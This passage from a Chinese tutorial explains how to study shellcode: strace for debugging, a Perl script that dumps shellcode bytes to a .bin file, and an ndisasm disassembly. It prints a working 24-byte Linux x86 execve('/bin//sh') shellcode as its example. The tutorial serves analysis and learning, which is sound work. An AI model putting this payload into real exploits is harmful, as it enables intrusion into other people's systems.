, NULL, NULL, NULL) = 1 (in [4]) read(4, "ls\n", 8192) = 3 write(1, "ls\n", 3ls ) = 3 select(16, [0 4], NULL, NULL, NUL
在测试shellcode的时候strace真是一个巨有用的工具。你能迅速知道错误所在。从而做进一步的修改。
记得有次在安全焦点看到有位朋友问如何知道类似\xeb\x33\东东的真正勾当。当你怀疑一个exploit本质是一个木马程序的时候。当别人写出短小精干的shellcode你想研究学习的时候,研究shellcode确实显的很重要,这里也有个很简单的方法。如下这个脚本轻松的做到将shellcode写到一个bin文件中,你只需要修改$shellcode变量为你想研究的shellcode,运行脚本,然后就得到了一个shellcode.bin文件,剩下的事情就是用ndisasm或者windows的w32dasm分析了。
以分析一个24bytes的shellcode为例子: #!/usr/bin/perl -w $shellcode= "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"."\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; open(FILE, ">shellcode.bin"); print FILE "$shellcode"; close(FILE); 运行它,得到了shellcode.bin,接着用ndisasm分析之。
[oyxin@OYXin oyxin]$ ndisasm -b 32 shellcode.bin 00000000 31C0 xor eax,eax 00000002 50 push eax 00000003 682F2F7368 push dword 0x68732f2f #push //sh 00000008 682F62696E push dword 0x6e69622f #push /bin 0000000D 89E3 mov ebx,esp #把字符串的地址传给ebx 0000000F 50 push eax 00000010 53 push ebx 00000011 89E1 mov ecx,esp #把字符串地址的地址传给ecx 00000013 99 cdq 00000014 B00B mov al,0xb 00000016 CD80 int 0x80
基本就知道24bytes shellcode编写的思路了,和前辈们分析的一样,没有exit调用也是可以的。用到了堆栈和esp传递地址,没有用传统的jump esi等方法。
上一页 [1] [2] [3] |